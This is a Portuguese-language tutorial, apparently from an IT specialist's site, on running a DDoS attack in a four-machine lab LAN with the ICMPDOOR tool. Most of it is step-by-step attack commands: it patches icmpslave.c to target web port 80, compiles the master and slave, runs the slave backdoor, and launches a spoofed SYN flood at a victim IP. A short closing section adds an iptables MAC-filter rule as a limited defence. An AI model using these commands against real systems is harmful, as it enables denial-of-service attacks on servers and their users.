GNU/Linux
 
 
DDoS com ICMPDOOR
(prática)


*Antes de começar, caso queira saber a teoria em relação ao ataque de DDoS, clique no link DDoS (teoria).

Este artigo mostra, na prática, como realizar um ataque DDoS. Além disso, mostra uma técnica implementada no Netfilter (filtro de pacotes) para impedir tal ataque. Como o objetivo é somente realizar testes em um ambiente controlado, esta implementação se restringiu à uma rede local (LAN) com quatro computadores utilizando o protocolo ethernet versão 2 e um único roteador, conforme figura a seguir:

Figura1: Ambiente para testes.
Obs: vale ressaltar que o ambiente proposto visa mostrar como funciona a hierárquia do ataque, envolvendo uma rede simples de computadores com um único roteador. A defesa para o ataque, que é mostrada no final deste artigo, não funcionaria se o ataque fosse proveniente da Internet.

De acordo com o ambiente proposto, na máquina Master/Slave foi instalada uma ferramenta de ataque que pratica DDoS chamada ICMPDOOR. Esta ferramenta hierarquiza o ataque em quatro níveis que são: o atacante, o(s) master(s), o(s) slave(s) e a vítima. Essa ferramenta pratica DDoS, SYN Flooding, IPSpoofing e TCPPortSpoofing.

O DDoS é caracterizado por ser distribuído, onde várias máquinas reais podem ser escravizadas para atacar uma única vítima. O SYN Flooding é um método que utiliza do envio de uma enorme quantidade de segmentos TCP-SYN para esgotar os recursos da vítima. O IPSpoofing é uma técnica que nesta ferramenta muda automática e randomicamente o endereço IP de origem. Já o TCPPortSpoofing muda automática e randomicamente a porta de origem e destino. Essa técnica de mudar os endereços dá a impressão que os atacantes são muitos, mas na verdade pode ser um único equipamento.


Para realizar os testes, faça o download da ferramenta ICMPDOOR, clique no link:
"icmpdoor.tar.gz" (faça o download para a máquina que será Master/Slave, conforme a figura1)

No diretório onde foi feito o download, digite o comando a seguir para descompactar e desempacotar:
# tar -zxvf icmpdoor.tar.gz

Digite "ls" para ver os arquivos
icmpdoor.tar.gz (ferramenta ICMPDOOR empacotada e compactada)
icmpmaster.c (código fonte para o computador Master)
icmpslave.c (código fonte para o computador Slave)
README (informações importantes)

Pelas configurações padrão do ICMPDOOR, a porta de destino é mudada automática e aleatoriamente. Como o intuito e atacar um serviço específico, um servidor de páginas. Então, se deve fixar a porta de destino. Para isto é necessário editar a linha 218 do arquivo "icmpslave.c":
# vi icmpslave.c (visualiza o conteúdo do arquivo. Procure pela linha 218)
tcp->th_dport = htons(dport); (linha 218 original)
tcp->th_dport = htons(80); (linha 218 modificada para fixar a porta TCP 80)

É necessário instalar os pacotes a seguir:
# apt-get update ; apt-get install gcc libc6-dev (compilador C e biblioteca de desenvolvimento)

Para economizar um computador, (senão teria que se utilizar 5 computadores) as máquinas Master e Slave devem ser configuradas no mesmo equipamento. Então digite:
# gcc icmpmaster.c -o icmpmaster ; gcc icmpslave.c -o icmpslave (compilando os códigos fonte. Um erro aparecerá, mas pode ignorá-lo)

Também é preciso criar um arquivo chamado "slavelist.db"
# vi slavelist.db (Neste arquivo é onde ficam gravados todos os endereços IPs dos Slaves)
127.0.0.1 (conteúdo que deve ser inserido no arquivo slavelist.db. Como o computador "Slave" está no próprio computador "Master", então se deve digitar "127.0.0.1")

Execute os dois comando a seguir para iniciar o ataque
# ./icmpslave & (backdoor executado em background. Ao executar este arquivo o computador é transformado em um computador "Slave")
#./icmpmaster -SYN -f IP_vítima (comando para iniciar o ataque. O "IP_vítima" deve ser substituído pelo endereço IP do equipamento que será atacado. A figura a seguir mostra o fluxo do ataque)

Obs: a maioria dos passos realizados neste artigo podem ser visto no README da própria ferramenta ICMPDOOR. O interessante é usar o TCPDump ou Ethereal (analizadores de tráfego) para verificar como a ferramenta funciona em termos de tráfego de rede

Nas máquinas envolvidadas no ataque (Master/Slave, Netfilter e Servidor Web) seria interessante instalar e configurar o MRTG e o RRDTool. Com isso, se poderia verificar utilização dos recursos (processador, memória, rede, conexões etc) durante o ataque





Até o momento se viu como realizar o ataque como a ferramenta ICMPDoor. Mas agora será visto como se defender. Para isso, uma regra no computador Netfilter deverá ser implementada:
# iptables -t filter -A FORWARD -i eth0 -o eth2 -m mac --mac-source 00:1e:8c:66:97:f1 -j DROP (esta regra impede todo o tráfego proveniente do computador Master/Slave que tem o endereço MAC "00:1e:8c:66:97:f1". Assim, o ataque não consiguirá atravessar o filtro de pacotes como mostrado na figura a seguir)


Como pode ser visto, a regra adotada impediu o ataque DDoS em um LAN de maneira eficiente. Mas com a única ressalva de que o atacante não podem ser muitos, senão teríasse de criar várias regras. Também é importante evidenciar que se o ataque fosse proveniente da internet a regra adotada não poderia ser usada, pois o endereço MAC não transpõe roteadores ;-). Além disso, este artigo se baseou no protocolo Ethernet versão 2, mas existem outros protocolos da camada 2 do modelo OSI como PPPoE e PPPoA que merecem testes específicos.
 
 




ETI - Especialista em Tecnologia
da Informação